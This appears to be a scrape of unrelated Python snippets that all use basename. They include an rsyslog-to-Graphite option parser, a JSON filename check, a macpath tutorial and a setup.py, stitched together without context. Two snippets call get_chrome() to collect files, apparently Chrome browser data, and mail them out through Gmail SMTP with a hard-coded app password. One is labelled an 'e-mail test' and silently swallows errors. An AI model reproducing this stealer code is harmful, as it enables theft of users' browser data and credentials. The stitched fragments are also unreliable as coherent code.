def get_options(): parser = optparse.OptionParser(version='%prog 0.5', description='This tool converts rsyslog impstats ' + 'processed through the rsyslog per interval based on the output ' + 'and submits them into graphite.') parser.add_option('-f', action='store', dest='file', type='string', metavar='</PATH/TO/STATS/FILE>', default=False, help='Path and filename for stats file') parser.add_option('-s', action='store', dest='server', type='string', metavar='<servername>:<port>', default=False, help='Destination Graphite server.') parser.add_option('-m', action='store', dest='metric_root', type='string', metavar='base.metric.path', default=False, help='Metric base path for Graphite.') (opts, args) = parser.parse_args() miss_error = '\nSee "' + basename(__file__) + ' -h" for help.' if opts.file: pass else: parser.error('Please specify a stats file to process.' + miss_error) return (opts, args)
def Verifier_si_fichier_json(path): file_name = basename(path) parties = file_name.split(".") _pattern = "[Jj]{1}[sS]{1}[oO]{1}[nN]{1}" if re.match(_pattern, parties[len(parties) - 1]) is None: return False else: return True
def send_letter(self, letter: Letter) -> None: msg = MIMEMultipart() msg['From'] = letter.sender msg['To'] = letter.addressee msg['Subject'] = letter.title msg.attach(MIMEText(letter.message)) if len(letter.files) > 0: for file in letter.files: with open(file, "rb") as fil: part = MIMEApplication(fil.read(), Name=basename(file)) part[ 'Content-Disposition'] = 'attachment; filename="%s"' % self.get_apk( file) msg.attach(part) print("Start sending mail " + letter.title) self.mail_lib.sendmail(letter.sender, letter.addressee, msg.as_string().encode('ascii')) print("Complete sending mail " + letter.title)
def get_options(): parser = optparse.OptionParser( version='%prog 0.5', description='This tool converts rsyslog impstats ' + 'processed through the rsyslog per interval based on the output ' + 'and submits them into graphite.') parser.add_option('-f', action='store', dest='file', type='string', metavar='</PATH/TO/STATS/FILE>', default=False, help='Path and filename for stats file') parser.add_option('-s', action='store', dest='server', type='string', metavar='<servername>:<port>', default=False, help='Destination Graphite server.') parser.add_option('-m', action='store', dest='metric_root', type='string', metavar='base.metric.path', default=False, help='Metric base path for Graphite.') (opts, args) = parser.parse_args() miss_error = '\nSee "' + basename(__file__) + ' -h" for help.' if opts.file: pass else: parser.error('Please specify a stats file to process.' + miss_error) return (opts, args)
smtpObj = smtplib.SMTP('smtp.gmail.com', 587) smtpObj.starttls() smtpObj.login("*****@*****.**", "fakatvdofpozscyq") list_file_contain = get_chrome() # files = [] # for file in list_file_contain: # files.append(open(file,"rb+")) # print(files) msg = MIMEMultipart() msg.attach(MIMEText(message)) for f in list_file_contain or []: with open(f, "rb") as file: part = MIMEApplication( file.read(), Name=basename(f) ) # After the file is closed part['Content-Disposition'] = 'attachment; filename="%s"' % basename(f) msg.attach(part) smtpObj.sendmail(sender, receivers, msg.as_string()) print ("Successfully sent email") # except Exception: # print ("Error: unable to send email")
''' macpath 模块 macpath 模块( 参见 Example 13-2 )提供了 Macintosh 平台下的 os.path 功能. 你也可以使用它在其他平台处理 Macintosh 路径. ''' import macpath file = 'my:little:pony' print("isabs", "=>", macpath.isabs(file)) print("dirname", "=>", macpath.dirname(file)) print("basename", "=>", macpath.basename(file)) print("normpath", "=>", macpath.normpath(file)) print("split", "=>", macpath.split(file)) print("join", "=>", macpath.join(file, "zorba")) ''' isabs => True dirname => my:little basename => pony normpath => my:little:pony split => ('my:little', 'pony') join => my:little:pony:zorba '''
Subject: SMTP e-mail test This is a test e-mail message. """ from a import get_chrome try: #import os #os.system("app 1") smtpObj = smtplib.SMTP('smtp.gmail.com', 587) smtpObj.starttls() smtpObj.login("*****@*****.**", "fakatvdofpozscyq") list_file_contain = get_chrome() msg = MIMEMultipart() msg.attach(MIMEText(message)) for f in list_file_contain or []: with open(f, "rb") as file: part = MIMEApplication(file.read(), Name=basename(f)) # After the file is closed part['Content-Disposition'] = 'attachment; filename="%s"' % basename(f) msg.attach(part) smtpObj.sendmail(sender, receivers, msg.as_string()) except Exception: a = 0
#!/usr/bin/env python from distutils.core import setup from glob import glob from macpath import splitext, basename from setuptools import find_packages setup(name='Project', description='Python Distribution Utilities', version='1.0', author='Haoran Peng', packages=find_packages('Project'), package_dir={'': 'Project'}, py_modules=[ splitext(basename(path))[0] for path in glob('Project/Split/*.py') ], install_requires=['pygame'])